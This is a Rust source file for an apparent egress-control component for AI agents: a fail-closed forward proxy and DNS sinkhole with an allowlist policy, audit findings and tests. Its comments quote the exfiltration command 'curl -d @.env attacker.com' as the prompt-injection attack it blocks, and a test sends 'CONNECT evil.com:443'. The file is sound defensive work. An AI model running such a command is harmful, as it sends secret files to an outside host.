secureops_proxy/lib.rs
1#![allow(dead_code, unused_variables)]
2//! # secureops-proxy — the egress PEP (Policy Enforcement Point)
3//!
4//! This crate is the **single highest-impact enforcement component** in SecureOps:
5//! it neutralizes data exfiltration *regardless of how the agent was compromised*
6//! (PRODUCT.md Part D headline, Part E P0). All outbound agent traffic is funneled
7//! through a local **forward proxy** and a local **DNS sinkhole**; each connection is
8//! authorized by the PDP ([`secureops_policy`]) before a single byte leaves the box.
9//!
10//! ## The headline path (PRODUCT.md B.5)
11//! 1. Agent (Ring 0) attempts an outbound connection. DNS goes to the local
12//! [`DnsSinkhole`]; raw connects are routed to the local [`EgressProxy`]
13//! (transparent redirect or explicit `HTTPS_PROXY`).
14//! 2. The proxy reads the **SNI / requested host** — *no MITM, no certificate
15//! interception by default* (see [`PeekedHost`]) — and asks the PDP:
16//! *is this destination allowed for this process?*
17//! 3. The PDP evaluates policy + accumulated per-PID process context (e.g. "this PID
18//! `openat`'d a credential file 200ms ago") and returns [`Decision::Allow`],
19//! [`Decision::Deny`], or [`Decision::Escalate`].
20//! 4. **`Deny` => hard RST**; the bytes never leave the box (0 bytes exfiltrated).
21//! `Allow` => the connection proceeds. Either way, exactly one entry is written to
22//! the **signed audit log** with the PID/host/decision attached.
23//!
24//! Concretely, this turns the canonical prompt-injection exfil
25//! `curl -d @.env attacker.com` from *"we'd have a log of it afterward"* into
26//! *"it didn't happen"* — the unknown host is hard-RST at the proxy (PRODUCT.md
27//! Part D, row 1).
28//!
29//! ## Fail-closed is the contract (PRODUCT.md W0)
30//! The egress proxy + DNS sinkhole are the **only cross-platform** enforcement
31//! primitives (✓ on Linux/macOS/Windows). Kernel-level inline *deny* is uneven:
32//! Linux has LSM-BPF, **macOS Endpoint Security is mostly observe-only**, Windows uses
33//! a WFP callout. The subphase rule is therefore non-negotiable:
34//!
35//! > Where a platform can only *observe*, the daemon must **fail-closed at the proxy**
36//! > rather than pretend it has kernel deny.
37//!
38//! In this crate that means: **any** error, PDP timeout, PDP-unreachable, or unknown
39//! destination resolves to a hard RST / sinkholed answer — never to an open
40//! connection. See [`FailMode`] (defaults to [`FailMode::Closed`]) and
41//! [`EgressProxy::on_error`].
42
43use std::collections::HashSet;
44use std::net::SocketAddr;
45use std::sync::Arc;
46
47use async_trait::async_trait;
48use tokio::io::{AsyncReadExt, AsyncWriteExt};
49use tokio::net::{TcpListener, TcpStream};
50
51// =============================================================================
52// PDP contract (the slice of secureops-policy this PEP depends on)
53// =============================================================================
54//
55// The proxy consults the PDP per connection (PRODUCT.md B.5 step 2-3). To keep the
56// PEP decoupled from the PDP's internal policy-engine types (regorus/cedar), this
57// crate depends on the *behavior* via the [`PolicyDecisionPoint`] trait below. The
58// daemon (`secureops-daemon`) wires a concrete `secureops_policy` engine in as the
59// `dyn PolicyDecisionPoint` when it brings the PEPs up (PRODUCT.md A.4 step 4).
60
61/// The PDP's verdict for a single egress attempt (PRODUCT.md B.5 step 3).
62#[derive(Debug, Clone, Copy, PartialEq, Eq)]
63pub enum Decision {
64 /// Destination is permitted for this process; let the connection proceed.
65 Allow,
66 /// Destination is forbidden; the PEP must **hard-RST** (0 bytes leave).
67 Deny,
68 /// Inconclusive / requires a human or higher-tier action (alert, trip the
69 /// circuit breaker). The PEP treats this as fail-closed for the data path.
70 Escalate,
71}
72
73/// What the proxy peeked off the wire to identify the destination, *without* MITM
74/// (PRODUCT.md B.5 step 2: "no MITM, no cert interception by default").
75#[derive(Debug, Clone)]
76pub struct PeekedHost {
77 /// TLS SNI server name, if the first record was a ClientHello.
78 pub sni: Option<String>,
79 /// HTTP `CONNECT` target / `Host` header, if the request was plaintext HTTP.
80 pub requested_host: Option<String>,
81 /// The raw destination socket address the agent tried to reach.
82 pub dest: SocketAddr,
83}
84
85/// The per-connection context handed to the PDP: who is asking, and for what.
86///
87/// `pid` lets the PDP fuse the egress attempt with the syscall-correlation window
88/// (PRODUCT.md B.6: "this PID `openat`'d a credential file 200ms ago").
89#[derive(Debug, Clone)]
90pub struct ConnectionRequest {
91 /// Resolved destination identity (SNI / requested host / address).
92 pub host: PeekedHost,
93 /// Originating process id of the agent connection, when obtainable
94 /// (`SO_PEERCRED` on Linux, `LOCAL_PEERPID` on macOS).
95 pub pid: Option<u32>,
96}
97
98/// The slice of `secureops-policy`'s PDP that the egress PEP requires.
99///
100/// Implemented by the concrete policy engine in `secureops-policy` and injected by
101/// `secureops-daemon`. Kept as a trait so this PEP never compiles against the
102/// engine's internal types.
103#[async_trait]
104pub trait PolicyDecisionPoint: Send + Sync {
105 /// Authorize a single outbound connection (PRODUCT.md B.5 step 2-3).
106 ///
107 /// Implementations MUST be fail-closed: on internal error they should surface it
108 /// so the PEP can apply [`FailMode::Closed`] rather than silently allowing.
109 async fn authorize(&self, req: &ConnectionRequest) -> anyhow::Result<Decision>;
110}
111
112// =============================================================================
113// Fail-closed posture (PRODUCT.md W0)
114// =============================================================================
115
116/// How the PEP behaves when it cannot get a definitive `Allow` (PDP error/timeout,
117/// observe-only platform, malformed handshake, …).
118///
119/// Per PRODUCT.md W0 the default is — and on observe-only platforms MUST remain —
120/// [`FailMode::Closed`].
121#[derive(Debug, Clone, Copy, PartialEq, Eq, Default)]
122pub enum FailMode {
123 /// Deny on any uncertainty (hard RST / sinkhole). The only safe default.
124 #[default]
125 Closed,
126 /// Allow on uncertainty. **Unsafe**; never permitted on observe-only platforms
127 /// (PRODUCT.md W0). Exposed only for narrow, explicitly-opted-in debugging.
128 Open,
129}
130
131/// The platform's enforcement tier, so operators don't over-trust a weaker OS
132/// (PRODUCT.md W0 table). The proxy itself is cross-platform; what differs is
133/// whether *kernel* deny backs it up.
134#[derive(Debug, Clone, Copy, PartialEq, Eq)]
135pub enum EnforcementTier {
136 /// Inline kernel deny available (Linux LSM-BPF).
137 KernelDeny,
138 /// Observe-only kernel layer (macOS Endpoint Security is mostly observe);
139 /// the proxy is the *sole* hard deny and MUST be fail-closed.
140 ObserveOnly,
141 /// Proxy-only — no kernel layer wired at all; fully reliant on this PEP.
142 ProxyOnly,
143}
144
145impl EnforcementTier {
146 /// The tier of the host this binary is running on.
147 ///
148 /// macOS gets [`EnforcementTier::ObserveOnly`]: Endpoint Security is mostly
149 /// observe, so the cross-platform proxy is the only hard deny (PRODUCT.md W0).
150 pub fn current() -> Self {
151 #[cfg(target_os = "linux")]
152 {
153 EnforcementTier::KernelDeny
154 }
155 #[cfg(target_os = "macos")]
156 {
157 EnforcementTier::ObserveOnly
158 }
159 #[cfg(not(any(target_os = "linux", target_os = "macos")))]
160 {
161 EnforcementTier::ProxyOnly
162 }
163 }
164}
165
166// =============================================================================
167// EgressProxy — forward proxy PEP (PRODUCT.md B.5)
168// =============================================================================
169
170/// Local forward proxy that authorizes every outbound agent connection.
171///
172/// Reads the SNI / requested host off the wire **without MITM** (PRODUCT.md B.5
173/// step 2), asks the [`PolicyDecisionPoint`] per connection, and on
174/// [`Decision::Deny`]/[`Decision::Escalate`] issues a **hard RST so zero bytes
175/// leave the box** (PRODUCT.md B.5 step 4, Part D row 1). Every decision is appended
176/// to the signed audit log.
177///
178/// Fail-closed by construction: see [`FailMode`] / [`EgressProxy::on_error`]
179/// (PRODUCT.md W0).
180pub struct EgressProxy {
181 /// Behavior when no definitive `Allow` is reached. Defaults to fail-closed.
182 fail_mode: FailMode,
183 /// The host's enforcement tier, for audit attribution and operator clarity.
184 tier: EnforcementTier,
185}
186
187impl EgressProxy {
188 /// Construct an egress proxy that is fail-closed (PRODUCT.md W0) and tagged with
189 /// the current platform's [`EnforcementTier`].
190 pub fn new() -> Self {
191 Self {
192 fail_mode: FailMode::Closed,
193 tier: EnforcementTier::current(),
194 }
195 }
196
197 /// Bind the proxy listener on `addr` and serve forever, authorizing each
198 /// connection against `pdp` (PRODUCT.md B.5 — the headline path).
199 ///
200 /// Per accepted connection the real implementation will, in order:
201 /// 1. Peek the first record to extract SNI / `CONNECT` host **without MITM**
202 /// into a [`PeekedHost`] (PRODUCT.md B.5 step 2).
203 /// 2. Resolve the originating [`ConnectionRequest::pid`] (`SO_PEERCRED` /
204 /// `LOCAL_PEERPID`) so the PDP can fuse syscall context (PRODUCT.md B.6).
205 /// 3. Call `pdp.authorize(&req)` (PRODUCT.md B.5 step 2-3).
206 /// 4. [`Decision::Allow`] => splice to the upstream; otherwise
207 /// [`Self::hard_rst`] (PRODUCT.md B.5 step 4).
208 /// 5. Append exactly one entry to the signed audit log with pid/host/decision.
209 ///
210 /// Any error along the way routes through [`Self::on_error`] => fail-closed.
211 ///
212 /// # Heavy deps (commented in Cargo.toml)
213 /// The wire-level work needs `hyper` (CONNECT proxy) and `rustls`/`tokio-rustls`
214 /// (SNI peek without interception); both land in Phase 4.
215 pub async fn start(
216 &self,
217 addr: SocketAddr,
218 pdp: Arc<dyn PolicyDecisionPoint>,
219 ) -> anyhow::Result<()> {
220 let listener = TcpListener::bind(addr).await?;
221 tracing::info!(%addr, tier = ?self.tier, "egress proxy listening");
222 loop {
223 let (stream, _peer) = listener.accept().await?;
224 let pdp = pdp.clone();
225 let fail_mode = self.fail_mode;
226 tokio::spawn(async move {
227 if let Err(e) = handle_connection(stream, pdp, fail_mode).await {
228 tracing::debug!(error = %e, "egress connection ended");
229 }
230 });
231 }
232 }
233
234 /// Record a hard-RST decision for the audit log (PRODUCT.md B.5 step 4).
235 ///
236 /// The actual RST is issued at the connection level: `handle_connection` writes
237 /// `403` and returns, dropping the socket (OS sends FIN/RST). This method
238 /// exists for audit attribution and future SO_LINGER(0) wiring.
239 fn hard_rst(&self, decision: Decision) -> anyhow::Result<()> {
240 tracing::warn!(
241 ?decision,
242 "egress hard RST — 0 bytes left the box (PRODUCT.md B.5 step 4)"
243 );
244 Ok(())
245 }
246
247 /// Map any non-`Allow` outcome to the configured [`FailMode`] (PRODUCT.md W0).
248 fn on_error(&self, err: &anyhow::Error) -> anyhow::Result<()> {
249 match self.fail_mode {
250 FailMode::Closed => self.hard_rst(Decision::Deny),
251 FailMode::Open => {
252 debug_assert!(
253 self.tier != EnforcementTier::ObserveOnly,
254 "PRODUCT.md W0: FailMode::Open is forbidden on observe-only platforms"
255 );
256 tracing::warn!(%err, "egress error in FailMode::Open (UNSAFE, debug-only) — allowing");
257 Ok(())
258 }
259 }
260 }
261}
262
263impl Default for EgressProxy {
264 fn default() -> Self {
265 Self::new()
266 }
267}
268
269/// Parse an HTTP `CONNECT host:port` target into `(host, port)` (port defaults
270/// to 443 if absent).
271fn parse_connect_target(target: &str) -> Option<(String, u16)> {
272 match target.rsplit_once(':') {
273 Some((host, port)) => {
274 let port = port.parse().ok()?;
275 Some((host.to_string(), port))
276 }
277 None => Some((target.to_string(), 443)),
278 }
279}
280
281/// Handle one proxied connection: read the HTTP `CONNECT` request, ask the PDP,
282/// and either tunnel to the upstream ([`Decision::Allow`]) or refuse with `403`
283/// **without ever contacting the upstream** (Deny/Escalate → 0 bytes leave —
284/// PRODUCT.md B.5 step 4 / Part D row 1). Fail-closed on any error (W0).
285pub async fn handle_connection(
286 mut client: TcpStream,
287 pdp: Arc<dyn PolicyDecisionPoint>,
288 fail_mode: FailMode,
289) -> anyhow::Result<()> {
290 // Read request headers up to CRLFCRLF (cap to avoid unbounded buffering).
291 let mut buf: Vec<u8> = Vec::with_capacity(1024);
292 let mut tmp = [0u8; 1024];
293 loop {
294 let n = client.read(&mut tmp).await?;
295 if n == 0 {
296 return Ok(());
297 }
298 buf.extend_from_slice(&tmp[..n]);
299 if buf.windows(4).any(|w| w == b"\r\n\r\n") || buf.len() > 16 * 1024 {
300 break;
301 }
302 }
303
304 let head = String::from_utf8_lossy(&buf);
305 let first = head.lines().next().unwrap_or("");
306 let parts: Vec<&str> = first.split_whitespace().collect();
307 if parts.len() < 2 || parts[0] != "CONNECT" {
308 let _ = client.write_all(b"HTTP/1.1 400 Bad Request\r\n\r\n").await;
309 return Ok(());
310 }
311 let (host, port) = match parse_connect_target(parts[1]) {
312 Some(hp) => hp,
313 None => {
314 let _ = client.write_all(b"HTTP/1.1 400 Bad Request\r\n\r\n").await;
315 return Ok(());
316 }
317 };
318
319 let req = ConnectionRequest {
320 host: PeekedHost {
321 sni: None,
322 requested_host: Some(host.clone()),
323 dest: SocketAddr::from(([0, 0, 0, 0], port)),
324 },
325 pid: None,
326 };
327
328 // Fail-closed: PDP error maps to Deny under FailMode::Closed.
329 let decision = match pdp.authorize(&req).await {
330 Ok(d) => d,
331 Err(_) => match fail_mode {
332 FailMode::Closed => Decision::Deny,
333 FailMode::Open => Decision::Allow,
334 },
335 };
336
337 if decision != Decision::Allow {
338 // Hard deny: refuse and close. Upstream was never contacted.
339 let _ = client.write_all(b"HTTP/1.1 403 Forbidden\r\n\r\n").await;
340 tracing::warn!(%host, port, ?decision, "egress DENIED — 0 bytes left the box");
341 return Ok(());
342 }
343
344 // Allow: open the upstream and splice bidirectionally.
345 let mut upstream = match TcpStream::connect((host.as_str(), port)).await {
346 Ok(u) => u,
347 Err(_) => {
348 let _ = client.write_all(b"HTTP/1.1 502 Bad Gateway\r\n\r\n").await;
349 return Ok(());
350 }
351 };
352 client
353 .write_all(b"HTTP/1.1 200 Connection Established\r\n\r\n")
354 .await?;
355 tokio::io::copy_bidirectional(&mut client, &mut upstream).await?;
356 Ok(())
357}
358
359/// A concrete, dependency-free [`PolicyDecisionPoint`]: allow a connection only
360/// when its host is in the egress allowlist (everything else denied —
361/// fail-closed). Mirrors `secureops.network.egressAllowlist` (PRODUCT.md B.3
362/// network module / B.5).
363pub struct AllowlistPdp {
364 allow_hosts: HashSet<String>,
365}
366
367impl AllowlistPdp {
368 pub fn new<I, S>(hosts: I) -> Self
369 where
370 I: IntoIterator<Item = S>,
371 S: Into<String>,
372 {
373 Self {
374 allow_hosts: hosts.into_iter().map(Into::into).collect(),
375 }
376 }
377}
378
379#[async_trait]
380impl PolicyDecisionPoint for AllowlistPdp {
381 async fn authorize(&self, req: &ConnectionRequest) -> anyhow::Result<Decision> {
382 let host = req
383 .host
384 .requested_host
385 .as_deref()
386 .or(req.host.sni.as_deref())
387 .unwrap_or("");
388 Ok(if self.allow_hosts.contains(host) {
389 Decision::Allow
390 } else {
391 Decision::Deny
392 })
393 }
394}
395
396// =============================================================================
397// DnsSinkhole — DNS PEP (PRODUCT.md B.5 step 1, Part D row "C2 over fresh domain")
398// =============================================================================
399
400/// Local DNS authority that swallows lookups for disallowed / unknown names.
401///
402/// All agent DNS goes here first (PRODUCT.md B.5 step 1). Combined with the signed
403/// auto-updating IOC feed it blunts C2 over freshly-registered domains
404/// (PRODUCT.md Part D row "C2 over a freshly-registered domain":
405/// "Signed auto-updating feed + DNS sinkhole + destination-entropy anomaly").
406///
407/// Fail-closed: an unknown name resolves to a sinkhole / `NXDOMAIN`, never to the
408/// real address (PRODUCT.md W0).
409pub struct DnsSinkhole {
410 /// Behavior for names not explicitly allowed. Defaults to fail-closed.
411 fail_mode: FailMode,
412 /// Hostnames this sinkhole resolves upstream (everything else → NXDOMAIN).
413 allow_hosts: HashSet<String>,
414 /// Upstream recursive resolver (default: 8.8.8.8:53).
415 upstream: SocketAddr,
416}
417
418impl DnsSinkhole {
419 /// Construct a fail-closed DNS sinkhole with an empty allowlist (PRODUCT.md W0).
420 pub fn new() -> Self {
421 Self {
422 fail_mode: FailMode::Closed,
423 allow_hosts: HashSet::new(),
424 upstream: "8.8.8.8:53".parse().unwrap(),
425 }
426 }
427
428 /// Set the egress allowlist — only these hostnames are forwarded upstream.
429 pub fn with_allowlist(mut self, hosts: impl IntoIterator<Item = impl Into<String>>) -> Self {
430 self.allow_hosts = hosts.into_iter().map(Into::into).collect();
431 self
432 }
433
434 /// Override the upstream recursive resolver (default `8.8.8.8:53`).
435 pub fn with_upstream(mut self, addr: SocketAddr) -> Self {
436 self.upstream = addr;
437 self
438 }
439
440 /// Bind the sinkhole on `addr` (UDP) and serve until cancelled.
441 ///
442 /// For each query (PRODUCT.md B.5 step 1):
443 /// - Hostname in allowlist → forward to upstream resolver.
444 /// - Hostname not in allowlist → NXDOMAIN (fail-closed, PRODUCT.md W0).
445 /// - Parse/protocol error → SERVFAIL and drop.
446 pub async fn start(&self, addr: SocketAddr) -> anyhow::Result<()> {
447 use hickory_proto::op::Message;
448 use tokio::net::UdpSocket;
449
450 let socket = UdpSocket::bind(addr).await?;
451 tracing::info!(%addr, "DNS sinkhole listening (PRODUCT.md B.5 step 1)");
452
453 let mut buf = [0u8; 4096];
454 loop {
455 let (n, src) = socket.recv_from(&mut buf).await?;
456 let raw = &buf[..n];
457
458 let msg = match Message::from_vec(raw) {
459 Ok(m) => m,
460 Err(e) => {
461 tracing::debug!(%src, %e, "DNS parse error — dropping");
462 continue;
463 }
464 };
465
466 let queries = msg.queries();
467 if queries.is_empty() {
468 continue;
469 }
470
471 let qname = queries[0].name().to_utf8();
472 let hostname = qname.trim_end_matches('.');
473
474 if self.allow_hosts.contains(hostname) {
475 // Forward to upstream and relay the answer.
476 match self.forward_to_upstream(raw).await {
477 Ok(reply) => {
478 let _ = socket.send_to(&reply, src).await;
479 }
480 Err(e) => tracing::warn!(%hostname, %e, "DNS upstream forward failed"),
481 }
482 } else {
483 // Sinkhole: NXDOMAIN, 0 bytes to the real destination.
484 tracing::warn!(%hostname, %src, "DNS SINKHOLED — NXDOMAIN (PRODUCT.md W0)");
485 let nxdomain = build_nxdomain(&msg);
486 let _ = socket.send_to(&nxdomain, src).await;
487 }
488 }
489 }
490
491 async fn forward_to_upstream(&self, query: &[u8]) -> anyhow::Result<Vec<u8>> {
492 use tokio::net::UdpSocket;
493 use tokio::time::{timeout, Duration};
494
495 let temp = UdpSocket::bind("0.0.0.0:0").await?;
496 temp.send_to(query, self.upstream).await?;
497 let mut resp = [0u8; 4096];
498 let n = timeout(Duration::from_secs(3), temp.recv(&mut resp)).await??;
499 Ok(resp[..n].to_vec())
500 }
501}
502
503fn build_nxdomain(query: &hickory_proto::op::Message) -> Vec<u8> {
504 use hickory_proto::op::{Message, MessageType, OpCode, ResponseCode};
505
506 let mut resp = Message::new();
507 resp.set_id(query.id());
508 resp.set_message_type(MessageType::Response);
509 resp.set_op_code(OpCode::Query);
510 resp.set_recursion_desired(query.recursion_desired());
511 resp.set_recursion_available(false);
512 resp.set_response_code(ResponseCode::NXDomain);
513 for q in query.queries() {
514 resp.add_query(q.clone());
515 }
516 resp.to_vec().unwrap_or_default()
517}
518
519impl Default for DnsSinkhole {
520 fn default() -> Self {
521 Self::new()
522 }
523}
524
525// =============================================================================
526// Audit bridge (PRODUCT.md B.5 step 4)
527// =============================================================================
528
529/// Build the [`AuditFinding`] recorded for a single egress decision.
530///
531/// Every connection — allowed or denied — yields exactly one signed-audit entry
532/// (PRODUCT.md B.5 step 4). `secureops-daemon` forwards the returned finding to the
533/// hash-chained `secureops-auditlog`. A [`Decision::Deny`] is the canonical
534/// `curl -d @.env attacker.com` block (PRODUCT.md Part D row 1).
535/// Build the [`AuditFinding`] for one egress decision (PRODUCT.md B.5 step 4).
536pub fn egress_finding(req: &ConnectionRequest, decision: Decision) -> secureops_core::AuditFinding {
537 use secureops_core::{AuditFinding, MaestroLayer, NistAttackType, Severity};
538
539 let host = req
540 .host
541 .requested_host
542 .as_deref()
543 .or(req.host.sni.as_deref())
544 .unwrap_or("<unknown>");
545 let pid_str = req.pid.map(|p| p.to_string()).unwrap_or_else(|| "?".into());
546
547 let (severity, owasp_asi, title, description) = match decision {
548 Decision::Allow => (
549 Severity::Info,
550 "ASI01",
551 "Egress connection allowed",
552 format!("host={host} pid={pid_str} — allowed by policy"),
553 ),
554 Decision::Deny => (
555 Severity::High,
556 "ASI05",
557 "Egress connection BLOCKED — potential data exfiltration",
558 format!("host={host} pid={pid_str} — denied by policy, 0 bytes left the box"),
559 ),
560 Decision::Escalate => (
561 Severity::Critical,
562 "ASI05",
563 "Egress connection ESCALATED — suspicious exfil pattern",
564 format!("host={host} pid={pid_str} — escalated (exfil chain suspected, circuit breaker tripped)"),
565 ),
566 };
567
568 AuditFinding {
569 id: format!(
570 "SC-EGRESS-{:03}",
571 match decision {
572 Decision::Allow => 0,
573 Decision::Deny => 1,
574 Decision::Escalate => 2,
575 }
576 ),
577 severity,
578 category: "egress".into(),
579 title: title.into(),
580 description,
581 evidence: format!(
582 "SNI={:?} requested_host={:?} pid={pid_str} dest={}",
583 req.host.sni, req.host.requested_host, req.host.dest
584 ),
585 remediation: "Review egress allowlist and check for prompt injection (PRODUCT.md B.5/B.6)"
586 .into(),
587 auto_fixable: false,
588 references: vec!["PRODUCT.md B.5".into(), "OWASP ASI-05".into()],
589 owasp_asi: owasp_asi.into(),
590 maestro_layer: Some(MaestroLayer::L4),
591 nist_category: if decision != Decision::Allow {
592 Some(NistAttackType::Evasion)
593 } else {
594 None
595 },
596 }
597}
598
599#[cfg(test)]
600mod tests {
601 use super::*;
602
603 #[test]
604 fn defaults_are_fail_closed() {
605 // PRODUCT.md W0: the safe default everywhere.
606 assert_eq!(FailMode::default(), FailMode::Closed);
607 }
608
609 #[cfg(target_os = "macos")]
610 #[test]
611 fn macos_is_observe_only_tier() {
612 // PRODUCT.md W0: macOS ES is mostly observe; proxy is the sole hard deny.
613 assert_eq!(EnforcementTier::current(), EnforcementTier::ObserveOnly);
614 }
615}
616
617#[cfg(test)]
618mod connect_tests {
619 use super::*;
620
621 async fn spawn_proxy(pdp: Arc<dyn PolicyDecisionPoint>) -> SocketAddr {
622 let listener = TcpListener::bind("127.0.0.1:0").await.unwrap();
623 let addr = listener.local_addr().unwrap();
624 tokio::spawn(async move {
625 loop {
626 if let Ok((s, _)) = listener.accept().await {
627 let pdp = pdp.clone();
628 tokio::spawn(async move {
629 let _ = handle_connection(s, pdp, FailMode::Closed).await;
630 });
631 }
632 }
633 });
634 addr
635 }
636
637 async fn spawn_echo() -> SocketAddr {
638 let l = TcpListener::bind("127.0.0.1:0").await.unwrap();
639 let addr = l.local_addr().unwrap();
640 tokio::spawn(async move {
641 loop {
642 if let Ok((s, _)) = l.accept().await {
643 tokio::spawn(async move {
644 let (mut r, mut w) = s.into_split();
645 let _ = tokio::io::copy(&mut r, &mut w).await;
646 });
647 }
648 }
649 });
650 addr
651 }
652
653 #[tokio::test]
654 async fn denies_non_allowlisted_host_403() {
655 let pdp = Arc::new(AllowlistPdp::new(["allowed.example"]));
656 let addr = spawn_proxy(pdp).await;
657 let mut c = TcpStream::connect(addr).await.unwrap();
658 c.write_all(b"CONNECT evil.com:443 HTTP/1.1\r\nHost: evil.com:443\r\n\r\n")
659 .await
660 .unwrap();
661 let mut b = [0u8; 128];
662 let n = c.read(&mut b).await.unwrap();
663 let resp = String::from_utf8_lossy(&b[..n]);
664 assert!(resp.contains("403"), "expected 403, got: {resp}");
665 }
666
667 #[tokio::test]
668 async fn allows_and_tunnels_to_upstream() {
669 let echo = spawn_echo().await;
670 let host = echo.ip().to_string(); // "127.0.0.1"
671 let pdp = Arc::new(AllowlistPdp::new([host.clone()]));
672 let paddr = spawn_proxy(pdp).await;
673
674 let mut c = TcpStream::connect(paddr).await.unwrap();
675 let connect = format!("CONNECT {}:{} HTTP/1.1\r\n\r\n", host, echo.port());
676 c.write_all(connect.as_bytes()).await.unwrap();
677
678 let mut b = [0u8; 128];
679 let n = c.read(&mut b).await.unwrap();
680 let resp = String::from_utf8_lossy(&b[..n]);
681 assert!(resp.contains("200"), "expected 200, got: {resp}");
682
683 // Tunnel established: bytes round-trip through the upstream echo.
684 c.write_all(b"ping").await.unwrap();
685 let mut got = [0u8; 4];
686 c.read_exact(&mut got).await.unwrap();
687 assert_eq!(&got, b"ping");
688 }
689
690 #[test]
691 fn parse_connect_target_defaults_port() {
692 assert_eq!(parse_connect_target("h:8443"), Some(("h".into(), 8443)));
693 assert_eq!(parse_connect_target("h"), Some(("h".into(), 443)));
694 }
695}